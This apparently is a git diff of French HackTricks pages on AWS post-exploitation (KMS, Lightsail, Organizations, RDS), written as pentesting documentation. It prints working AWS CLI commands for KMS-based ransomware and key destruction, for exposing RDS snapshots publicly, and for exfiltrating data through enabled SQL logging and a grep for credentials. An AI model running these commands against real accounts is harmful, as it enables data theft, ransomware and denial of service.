+--status Inactive + +aws iam update-server-certificate \ +--server-certificate-name \ +--new-path /prod/ +``` +## Références + +- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md deleted file mode 100644 index 446ee8fe4..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ /dev/null @@ -1,182 +0,0 @@ -# AWS - KMS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## KMS - -Pour plus d'informations, consultez : - -{{#ref}} -../aws-services/aws-kms-enum.md -{{#endref}} - -### Chiffrement/Déchiffrement des informations - -`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files: - -- `fileb://:` Lit le fichier en mode binaire, couramment utilisé pour les fichiers non textuels. -- `file://:` Lit le fichier en mode texte, typiquement utilisé pour les fichiers texte simples, scripts ou JSON qui n'ont pas d'exigences d'encodage spéciales. - -> [!TIP] -> Notez que si vous voulez déchiffrer des données contenues dans un fichier, le fichier doit contenir les données binaires, et non des données encodées en base64. (fileb://) - -- Utilisation d'une clé **symétrique** -```bash -# Encrypt data -aws kms encrypt \ ---key-id f0d3d719-b054-49ec-b515-4095b4777049 \ ---plaintext fileb:///tmp/hello.txt \ ---output text \ ---query CiphertextBlob | base64 \ ---decode > ExampleEncryptedFile - -# Decrypt data -aws kms decrypt \ ---ciphertext-blob fileb://ExampleEncryptedFile \ ---key-id f0d3d719-b054-49ec-b515-4095b4777049 \ ---output text \ ---query Plaintext | base64 \ ---decode -``` -- Utiliser une clé **asymétrique**: -```bash -# Encrypt data -aws kms encrypt \ ---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ ---encryption-algorithm RSAES_OAEP_SHA_256 \ ---plaintext fileb:///tmp/hello.txt \ ---output text \ ---query CiphertextBlob | base64 \ ---decode > ExampleEncryptedFile - -# Decrypt data -aws kms decrypt \ ---ciphertext-blob fileb://ExampleEncryptedFile \ ---encryption-algorithm RSAES_OAEP_SHA_256 \ ---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ ---output text \ ---query Plaintext | base64 \ ---decode -``` -### KMS Ransomware - -Un attaquant disposant d'un accès privilégié à KMS pourrait modifier la KMS policy des clés et **accorder à son compte l'accès à celles-ci**, supprimant l'accès accordé au compte légitime. - -Ensuite, les utilisateurs du compte légitime ne pourront plus accéder à aucune information de tout service ayant été chiffré avec ces clés, créant un ransomware simple mais efficace sur le compte. - -> [!WARNING] -> Notez que **AWS managed keys ne sont pas affectées** par cette attaque, seulement **Customer managed keys**. - -> Notez également qu'il est nécessaire d'utiliser le paramètre **`--bypass-policy-lockout-safety-check`** (l'absence de cette option dans la console web rend cette attaque possible uniquement depuis la CLI). -```bash -# Force policy change -aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ ---policy-name default \ ---policy file:///tmp/policy.yaml \ ---bypass-policy-lockout-safety-check - -{ -"Id": "key-consolepolicy-3", -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "Enable IAM User Permissions", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam:::root" -}, -"Action": "kms:*", -"Resource": "*" -} -] -} -``` -> [!CAUTION] -> Notez que si vous modifiez cette policy et ne donnez l'accès qu'à un compte externe, puis que depuis ce compte externe vous essayez de définir une nouvelle policy pour **rendre l'accès au compte d'origine, vous n'y arriverez pas car l'action Put Polocy ne peut pas être effectuée depuis un cross account**. - -
- -### Generic KMS Ransomware - -Il existe une autre façon d'exécuter un KMS Ransomware global, qui impliquerait les étapes suivantes : - -- Create a new **key with a key material** imported by the attacker -- **Re-encrypt older data** of the victim encrypted with the previous version with the new one. -- **Delete the KMS key** -- Now only the attacker, who has the original key material could be able to decrypt the encrypted data - -### Delete Keys via kms:DeleteImportedKeyMaterial - -Avec la permission `kms:DeleteImportedKeyMaterial`, un acteur peut supprimer le key material importé des CMKs ayant `Origin=EXTERNAL` (CMKs qui ont importé leur key material), les rendant incapables de déchiffrer des données. Cette action est destructive et irréversible à moins qu'un matériel compatible ne soit ré-importé, permettant à un attaquant de provoquer effectivement une perte de données de type ransomware en rendant les informations chiffrées définitivement inaccessibles. -```bash -aws kms delete-imported-key-material --key-id -``` -### Destruction des keys - -La destruction des keys peut permettre d'effectuer un DoS. -```bash -# Schedule the destoy of a key (min wait time is 7 days) -aws kms schedule-key-deletion \ ---key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ ---pending-window-in-days 7 -``` -> [!CAUTION] -> Notez qu'AWS empêche désormais **que les actions précédentes soient effectuées depuis un compte croisé :** - -### Modifier ou supprimer un alias -Cette attaque supprime ou redirige les alias AWS KMS, rompant la résolution des clés et provoquant des échecs immédiats dans tous les services qui dépendent de ces alias, entraînant un denial-of-service. Avec des permissions comme `kms:DeleteAlias` ou `kms:UpdateAlias` un attaquant peut supprimer ou réorienter des alias et perturber les opérations cryptographiques (e.g., encrypt, describe). Tout service qui référence l'alias au lieu du key ID peut échouer jusqu'à ce que l'alias soit restauré ou correctement remappé. -```bash -# Delete Alias -aws kms delete-alias --alias-name alias/ - -# Update Alias -aws kms update-alias \ ---alias-name alias/ \ ---target-key-id -``` -### Cancel Key Deletion -Avec des permissions telles que `kms:CancelKeyDeletion` et `kms:EnableKey`, un acteur peut annuler une suppression planifiée d'une AWS KMS customer master key puis la réactiver ultérieurement. Ce faisant, il récupère la clé (initialement en état Disabled) et restaure sa capacité à déchiffrer des données protégées précédemment, permettant l'exfiltration. -```bash -# Firts cancel de deletion -aws kms cancel-key-deletion \ ---key-id - -## Second enable the key -aws kms enable-key \ ---key-id -``` -### Disable Key -Avec la permission `kms:DisableKey`, un acteur peut désactiver une AWS KMS customer master key, empêchant son utilisation pour l'encryption ou la decryption. Cela interrompt l'accès pour tous les services qui dépendent de ce CMK et peut provoquer des perturbations immédiates ou un denial-of-service jusqu'à ce que la clé soit réactivée. -```bash -aws kms disable-key \ ---key-id -``` -### Dériver un secret partagé -Avec la permission `kms:DeriveSharedSecret`, un acteur peut utiliser une clé privée détenue par KMS ainsi qu'une clé publique fournie par l'utilisateur pour calculer un secret partagé ECDH. -```bash -aws kms derive-shared-secret \ ---key-id \ ---public-key fileb:/// \ ---key-agreement-algorithm -``` -### Impersonation via kms:Sign -Avec la permission `kms:Sign`, un acteur peut utiliser une KMS-stored CMK pour signer cryptographiquement des données sans exposer la private key, produisant des signatures valides qui peuvent permettre l'impersonation ou autoriser des actions malveillantes. -```bash -aws kms sign \ ---key-id \ ---message fileb:// \ ---signing-algorithm \ ---message-type RAW -``` -### DoS avec Custom Key Stores -Avec des permissions telles que `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` ou `kms:UpdateCustomKeyStore`, un acteur peut modifier, déconnecter ou supprimer un AWS KMS Custom Key Store (CKS), rendant ses clés principales inopérantes. Cela empêche les opérations de chiffrement, de déchiffrement et de signature pour tous les services qui dépendent de ces clés et peut provoquer un denial-of-service immédiat. Il est donc crucial de restreindre et de surveiller ces permissions. -```bash -aws kms delete-custom-key-store --custom-key-store-id - -aws kms disconnect-custom-key-store --custom-key-store-id - -aws kms update-custom-key-store --custom-key-store-id --new-custom-key-store-name --key-store-password -``` -
- -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md new file mode 100644 index 000000000..829515113 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md @@ -0,0 +1,182 @@ +# AWS - KMS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## KMS + +Pour plus d'informations, consultez : + +{{#ref}} +../../aws-services/aws-kms-enum.md +{{#endref}} + +### Encrypt/Decrypt information + +`fileb://` and `file://` sont des schémas d'URI utilisés dans les commandes AWS CLI pour spécifier le chemin vers des fichiers locaux: + +- `fileb://:` Lit le fichier en mode binaire, couramment utilisé pour les fichiers non textuels. +- `file://:` Lit le fichier en mode texte, généralement utilisé pour les fichiers texte simples, scripts ou JSON qui n'ont pas d'exigences d'encodage particulières. + +> [!TIP] +> Notez que si vous voulez decrypt des données à l'intérieur d'un fichier, le fichier doit contenir les données binaires, pas des données encodées en base64. (fileb://) + +- Using a **symmetric** key +```bash +# Encrypt data +aws kms encrypt \ +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile + +# Decrypt data +aws kms decrypt \ +--ciphertext-blob fileb://ExampleEncryptedFile \ +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--output text \ +--query Plaintext | base64 \ +--decode +``` +- Utiliser une clé **asymétrique** : +```bash +# Encrypt data +aws kms encrypt \ +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile + +# Decrypt data +aws kms decrypt \ +--ciphertext-blob fileb://ExampleEncryptedFile \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--output text \ +--query Plaintext | base64 \ +--decode +``` +### KMS Ransomware + +Un attaquant disposant d'un accès privilégié à KMS peut modifier la KMS policy des clés et **accorder à son compte l'accès à celles-ci**, supprimant l'accès accordé au compte légitime. + +Les utilisateurs du compte légitime ne pourront alors plus accéder à aucune information de tout service chiffré avec ces clés, créant un ransomware simple mais efficace contre le compte. + +> [!WARNING] +> Notez que **AWS managed keys ne sont pas affectées** par cette attaque, seulement les **Customer managed keys**. +> +> Notez aussi la nécessité d'utiliser le paramètre **`--bypass-policy-lockout-safety-check`** (l'absence de cette option dans la web console rend cette attaque possible uniquement depuis le CLI). +```bash +# Force policy change +aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ +--policy-name default \ +--policy file:///tmp/policy.yaml \ +--bypass-policy-lockout-safety-check + +{ +"Id": "key-consolepolicy-3", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "kms:*", +"Resource": "*" +} +] +} +``` +> [!CAUTION] +> Notez que si vous changez cette policy et ne donnez l'accès qu'à un external account, puis que depuis cet external account vous essayez de définir une nouvelle policy pour **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**. + +
+ +### Generic KMS Ransomware + +Il existe une autre façon d'effectuer un global KMS Ransomware, qui impliquerait les étapes suivantes : + +- Créer une nouvelle **key with a key material** importée par l'attacker +- **Re-encrypt older data** of the victim encrypted with the previous version with the new one. +- **Delete the KMS key** +- Maintenant seul l'attacker, qui possède le original key material, pourra être capable de decrypt the encrypted data + +### Delete Keys via kms:DeleteImportedKeyMaterial + +Avec la permission `kms:DeleteImportedKeyMaterial`, un actor peut delete the imported key material des CMKs avec `Origin=EXTERNAL` (CMKs that have imperted their key material), les rendant incapables de decrypt data. Cette action est destructive et irréversible sauf si du compatible material est re-imported, permettant à un attacker de provoquer effectivement une perte de données de type ransomware en rendant l'information encrypted définitivement inaccessible. +```bash +aws kms delete-imported-key-material --key-id +``` +### Détruire les clés + +En détruisant des clés, il est possible d'effectuer un DoS. +```bash +# Schedule the destoy of a key (min wait time is 7 days) +aws kms schedule-key-deletion \ +--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ +--pending-window-in-days 7 +``` +> [!CAUTION] +> Notez qu'AWS **empêche désormais que les actions précédentes soient effectuées depuis un autre compte :** + +### Modifier ou supprimer Alias +Cette attaque supprime ou redirige les aliases AWS KMS, rompant la résolution des clés et provoquant des échecs immédiats dans tous les services qui dépendent de ces aliases, entraînant un déni de service. Avec des permissions telles que `kms:DeleteAlias` ou `kms:UpdateAlias`, un attaquant peut supprimer ou rediriger des aliases et perturber les opérations cryptographiques (p. ex., encrypt, describe). Tout service qui référence l'alias au lieu du key ID peut échouer jusqu'à ce que l'alias soit restauré ou correctement réaffecté. +```bash +# Delete Alias +aws kms delete-alias --alias-name alias/ + +# Update Alias +aws kms update-alias \ +--alias-name alias/ \ +--target-key-id +``` +### Cancel Key Deletion +Avec des permissions telles que `kms:CancelKeyDeletion` et `kms:EnableKey`, un acteur peut annuler une suppression programmée d'une AWS KMS customer master key et la réactiver plus tard. Ce faisant, il récupère la clé (initialement en état Disabled) et restaure sa capacité à déchiffrer des données précédemment protégées, permettant l'exfiltration. +```bash +# Firts cancel de deletion +aws kms cancel-key-deletion \ +--key-id + +## Second enable the key +aws kms enable-key \ +--key-id +``` +### Désactiver la clé +Avec la permission `kms:DisableKey`, un acteur peut désactiver une CMK (customer master key) AWS KMS, empêchant son utilisation pour le chiffrement ou le déchiffrement. Cela coupe l'accès pour tous les services qui dépendent de cette CMK et peut provoquer des perturbations immédiates ou un déni de service jusqu'à ce que la clé soit réactivée. +```bash +aws kms disable-key \ +--key-id +``` +### Derive Shared Secret +Avec la permission `kms:DeriveSharedSecret`, un acteur peut utiliser une clé privée stockée dans KMS ainsi qu'une clé publique fournie par l'utilisateur pour calculer un secret partagé ECDH. +```bash +aws kms derive-shared-secret \ +--key-id \ +--public-key fileb:/// \ +--key-agreement-algorithm +``` +### Impersonation via kms:Sign +Avec la permission `kms:Sign`, un acteur peut utiliser une CMK stockée dans KMS pour signer cryptographiquement des données sans exposer la private key, produisant des signatures valides qui peuvent permettre l'impersonation ou autoriser des actions malveillantes. +```bash +aws kms sign \ +--key-id \ +--message fileb:// \ +--signing-algorithm \ +--message-type RAW +``` +### DoS avec Custom Key Stores +Avec des autorisations comme `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` ou `kms:UpdateCustomKeyStore`, un acteur peut modifier, déconnecter ou supprimer un AWS KMS Custom Key Store (CKS), rendant ses clés principales inopérantes. Cela interrompt les opérations de chiffrement, de déchiffrement et de signature pour tous les services qui dépendent de ces clés et peut provoquer un denial-of-service immédiat. Il est donc essentiel de restreindre et de surveiller ces autorisations. +```bash +aws kms delete-custom-key-store --custom-key-store-id + +aws kms disconnect-custom-key-store --custom-key-store-id + +aws kms update-custom-key-store --custom-key-store-id --new-custom-key-store-name --key-store-password +``` +
+ +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md deleted file mode 100644 index 111ea7b11..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md +++ /dev/null @@ -1,30 +0,0 @@ -# AWS - Lightsail Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Lightsail - -Pour plus d'informations, consultez : - -{{#ref}} -../aws-services/aws-lightsail-enum.md -{{#endref}} - -### Restaurer d'anciens instantanés de DB - -Si la DB a des instantanés, vous pourriez être en mesure de **trouver des informations sensibles actuellement supprimées dans d'anciens instantanés**. **Restaurez** l'instantané dans une **nouvelle base de données** et vérifiez-le. - -### Restaurer les instantanés d'instance - -Les instantanés d'instance peuvent contenir des **informations sensibles** d'instances déjà supprimées ou des informations sensibles qui sont supprimées dans l'instance actuelle. **Créez de nouvelles instances à partir des instantanés** et vérifiez-les.\ -Ou **exportez l'instantané vers un AMI dans EC2** et suivez les étapes d'une instance EC2 typique. - -### Accéder à des informations sensibles - -Consultez les options de privesc Lightsail pour apprendre différentes façons d'accéder à des informations sensibles potentielles : - -{{#ref}} -../aws-privilege-escalation/aws-lightsail-privesc.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md new file mode 100644 index 000000000..2e683b188 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md @@ -0,0 +1,30 @@ +# AWS - Lightsail Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Lightsail + +Pour plus d'informations, consultez : + +{{#ref}} +../../aws-services/aws-lightsail-enum.md +{{#endref}} + +### Restaurer les anciens snapshots de DB + +Si la DB possède des snapshots, vous pourriez être en mesure de **trouver des informations sensibles qui ont été supprimées dans d'anciens snapshots**. **Restaurez** le snapshot dans une **nouvelle base de données** et vérifiez-le. + +### Restaurer les snapshots d'instance + +Les snapshots d'instance peuvent contenir des **informations sensibles** d'instances déjà supprimées ou des informations sensibles supprimées dans l'instance actuelle. **Créez de nouvelles instances à partir des snapshots** et inspectez-les.\ +Ou **exportez le snapshot vers une AMI dans EC2** et suivez les étapes d'une instance EC2 typique. + +### Accéder aux informations sensibles + +Consultez les options de privesc Lightsail pour apprendre différentes façons d'accéder à d'éventuelles informations sensibles : + +{{#ref}} +../../aws-privilege-escalation/aws-lightsail-privesc/README.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md deleted file mode 100644 index 5bf5a4b9c..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md +++ /dev/null @@ -1,17 +0,0 @@ -# AWS - Organisations Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Organisations - -Pour plus d'informations sur AWS Organizations, consultez : - -{{#ref}} -../aws-services/aws-organizations-enum.md -{{#endref}} - -### Quitter l'Org -```bash -aws organizations deregister-account --account-id --region -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md new file mode 100644 index 000000000..f88f6aea6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md @@ -0,0 +1,17 @@ +# AWS - Organizations Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Organizations + +Pour plus d'informations sur AWS Organizations, consultez : + +{{#ref}} +../../aws-services/aws-organizations-enum.md +{{#endref}} + +### Quitter l'Org +```bash +aws organizations deregister-account --account-id --region +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md similarity index 75% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md index a06b8d90f..0d40b337b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md @@ -1,18 +1,18 @@ # AWS - RDS Post-exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## RDS -Pour plus d'informations, voir : +Pour plus d'informations, consultez : {{#ref}} -../aws-services/aws-relational-database-rds-enum.md +../../aws-services/aws-relational-database-rds-enum.md {{#endref}} ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -Si l'attaquant dispose des autorisations suffisantes, il peut rendre une **DB accessible au public** en créant un snapshot de la DB, puis en créant une DB accessible au public à partir du snapshot. +Si l'attaquant dispose de permissions suffisantes, il peut rendre une **DB accessible publiquement** en créant un snapshot de la DB, puis une DB accessible publiquement à partir du snapshot. ```bash aws rds describe-db-instances # Get DB identifier @@ -40,9 +40,9 @@ aws rds modify-db-instance \ ``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -Un attaquant disposant de ces permissions pourrait **créer un snapshot d'une DB** et le rendre **publiquement** **accessible**. Ensuite, il pourrait simplement créer dans son propre compte une DB à partir de ce snapshot. +Un attaquant disposant de ces permissions pourrait **créer un snapshot d'une DB** et le rendre **publiquement** **disponible**. Ensuite, il pourrait simplement créer dans son propre compte une DB à partir de ce snapshot. -Si l'attaquant **ne dispose pas de la `rds:CreateDBSnapshot`**, il pourrait néanmoins rendre **d'autres** snapshots créés **publics**. +Si l'attaquant **n'a pas le `rds:CreateDBSnapshot`**, il pourrait quand même rendre **d'autres snapshots créés** **publics**. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -53,11 +53,11 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -Un attaquant disposant de la permission `rds:DownloadDBLogFilePortion` peut **télécharger des portions des fichiers de logs d'une instance RDS**. Si des données sensibles ou des identifiants d'accès sont enregistrés par erreur, l'attaquant pourrait potentiellement utiliser ces informations pour élever ses privilèges ou effectuer des actions non autorisées. +Un attaquant disposant de la permission `rds:DownloadDBLogFilePortion` peut **download portions of an RDS instance's log files**. Si des données sensibles ou des access credentials sont accidentellement logged, l'attaquant pourrait potentiellement utiliser ces informations pour élever ses privilèges ou effectuer des actions non autorisées. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` -**Impact potentiel**: Accès à des informations sensibles ou exécution d'actions non autorisées en utilisant des leaked credentials. +**Potential Impact**: Accès à des informations sensibles ou exécution d'actions non autorisées à l'aide de leaked credentials. ### `rds:DeleteDBInstance` @@ -66,35 +66,35 @@ Un attaquant disposant de ces autorisations peut **DoS des instances RDS existan # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` -**Impact potentiel** : Suppression des instances RDS existantes et perte potentielle de données. +**Impact potentiel** : Suppression des instances RDS existantes et risque de perte de données. ### `rds:StartExportTask` > [!NOTE] -> À TESTER +> TODO: Tester -Un attaquant disposant de cette autorisation peut **exporter un snapshot d'instance RDS vers un bucket S3**. Si l'attaquant contrôle le bucket S3 de destination, il peut potentiellement accéder aux données sensibles contenues dans le snapshot exporté. +Un attaquant disposant de cette autorisation peut **exporter un snapshot d'instance RDS vers un bucket S3**. Si l'attaquant contrôle le bucket S3 de destination, il peut potentiellement accéder à des données sensibles contenues dans le snapshot exporté. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` **Impact potentiel** : Accès à des données sensibles dans le snapshot exporté. -### Réplication inter-régions des sauvegardes automatisées pour une restauration furtive (`rds:StartDBInstanceAutomatedBackupsReplication`) +### Réplication inter-régions des sauvegardes automatisées pour une restauration discrète (`rds:StartDBInstanceAutomatedBackupsReplication`) -Abusez la réplication inter-régions des sauvegardes automatisées pour dupliquer discrètement les sauvegardes automatisées d'une instance RDS dans une autre région AWS et y restaurer la base. L'attaquant peut ensuite rendre la DB restaurée accessible publiquement et réinitialiser le mot de passe master pour accéder aux données en dehors des canaux habituels dans une région que les défenseurs ne surveillent peut-être pas. +Abuser de la réplication inter-régions des sauvegardes automatisées pour dupliquer silencieusement les sauvegardes automatisées d'une instance RDS dans une autre AWS Region et y restaurer. L'attaquant peut ensuite rendre la DB restaurée accessible publiquement et réinitialiser le master password pour accéder aux données hors bande dans une Region que les défenseurs pourraient ne pas surveiller. Permissions requises (minimum) : -- `rds:StartDBInstanceAutomatedBackupsReplication` dans la région de destination -- `rds:DescribeDBInstanceAutomatedBackups` dans la région de destination -- `rds:RestoreDBInstanceToPointInTime` dans la région de destination -- `rds:ModifyDBInstance` dans la région de destination +- `rds:StartDBInstanceAutomatedBackupsReplication` dans la Region de destination +- `rds:DescribeDBInstanceAutomatedBackups` dans la Region de destination +- `rds:RestoreDBInstanceToPointInTime` dans la Region de destination +- `rds:ModifyDBInstance` dans la Region de destination - `rds:StopDBInstanceAutomatedBackupsReplication` (nettoyage optionnel) - `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (pour exposer la DB restaurée) -Impact : Persistance et exfiltration de données en restaurant une copie des données de production dans une autre région et en l'exposant publiquement avec des identifiants contrôlés par l'attaquant. +Impact : Persistence and data exfiltration en restaurant une copie des données de production dans une autre Region et en l'exposant publiquement avec des identifiants contrôlés par l'attaquant.
-CLI de bout en bout (remplacez les espaces réservés) +CLI de bout en bout (remplacer les placeholders) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ @@ -163,26 +163,26 @@ aws rds stop-db-instance-automated-backups-replication \
-### Activer la journalisation SQL complète via les groupes de paramètres DB et exfiltrer via les RDS log APIs +### Activer la journalisation SQL complète via DB parameter groups et exfiltrer via les RDS log APIs -Abuser de `rds:ModifyDBParameterGroup` avec les RDS log download APIs pour capturer toutes les instructions SQL exécutées par les applications (aucun identifiant du moteur DB requis). Activer la journalisation SQL du moteur et récupérer les fichiers de logs via `rds:DescribeDBLogFiles` et `rds:DownloadDBLogFilePortion` (ou le REST `downloadCompleteLogFile`). Utile pour collecter des requêtes pouvant contenir des secrets/PII/JWTs. +Exploiter `rds:ModifyDBParameterGroup` avec les RDS log download APIs pour capturer toutes les instructions SQL exécutées par les applications (aucun identifiant du moteur DB n'est requis). Activer la journalisation SQL du moteur et récupérer les fichiers de logs via `rds:DescribeDBLogFiles` et `rds:DownloadDBLogFilePortion` (ou le REST `downloadCompleteLogFile`). Utile pour collecter des requêtes susceptibles de contenir des secrets/PII/JWTs. -Permissions requises (minimum): +Permissions requises (minimum) : - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion` - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup` -- `rds:ModifyDBInstance` (uniquement pour attacher un groupe de paramètres personnalisé si l'instance utilise le groupe par défaut) -- `rds:RebootDBInstance` (pour les paramètres nécessitant un redémarrage, par ex., PostgreSQL) +- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one) +- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL) Étapes -1) Recon target and current parameter group +1) Recon de la cible et du groupe de paramètres actuel ```bash aws rds describe-db-instances \ --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \ --output table ``` -2) Assurez-vous qu'un DB parameter group personnalisé est attaché (impossible d'éditer le groupe par défaut) +2) Assurez-vous qu'un DB parameter group personnalisé est attaché (impossible de modifier le groupe par défaut) - Si l'instance utilise déjà un groupe personnalisé, réutilisez son nom à l'étape suivante. -- Sinon, créez et attachez-en un correspondant à la famille du moteur : +- Sinon, créez-en un et attachez-le correspondant à la famille du moteur : ```bash # Example for PostgreSQL 16 aws rds create-db-parameter-group \ @@ -197,7 +197,7 @@ aws rds modify-db-instance \ # Wait until status becomes "available" ``` 3) Activer la journalisation SQL détaillée -- Moteurs MySQL (immédiat / sans redémarrage): +- MySQL engines (immédiat / sans redémarrage): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -220,7 +220,7 @@ aws rds modify-db-parameter-group \ # Reboot if any parameter is pending-reboot aws rds reboot-db-instance --db-instance-identifier ``` -4) Laisser la charge de travail s'exécuter (ou générer des requêtes). Les requêtes seront écrites dans les fichiers de log du moteur +4) Laisser la charge de travail s'exécuter (ou générer des requêtes). Les requêtes seront écrites dans les fichiers de logs du moteur - MySQL: `general/mysql-general.log` - PostgreSQL: `postgresql.log` @@ -235,18 +235,18 @@ aws rds download-db-log-file-portion \ --starting-token 0 \ --output text > dump.log ``` -6) Analyser hors ligne pour détecter des données sensibles +6) Analyser hors ligne pour des données sensibles ```bash grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head ``` -Exemple de preuve (expurgée) : +Exemple de preuve (caviardée) : ```text 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!') 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED') 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED') ``` Nettoyage -- Rétablir les paramètres par défaut et redémarrer si nécessaire: +- Rétablir les paramètres par défaut et redémarrer si nécessaire : ```bash # MySQL aws rds modify-db-parameter-group \ @@ -261,19 +261,19 @@ aws rds modify-db-parameter-group \ "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot" # Reboot if pending-reboot ``` -Impact : Accès post-exploitation aux données en capturant toutes les instructions SQL applicatives via les APIs AWS (no DB creds), pouvant entraîner la fuite de secrets, JWTs et PII. +Impact : Accès aux données post-exploitation en capturant toutes les instructions SQL de l'application via AWS APIs (no DB creds), potentially leaking secrets, JWTs, and PII. ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance` -Abuser des répliques en lecture RDS 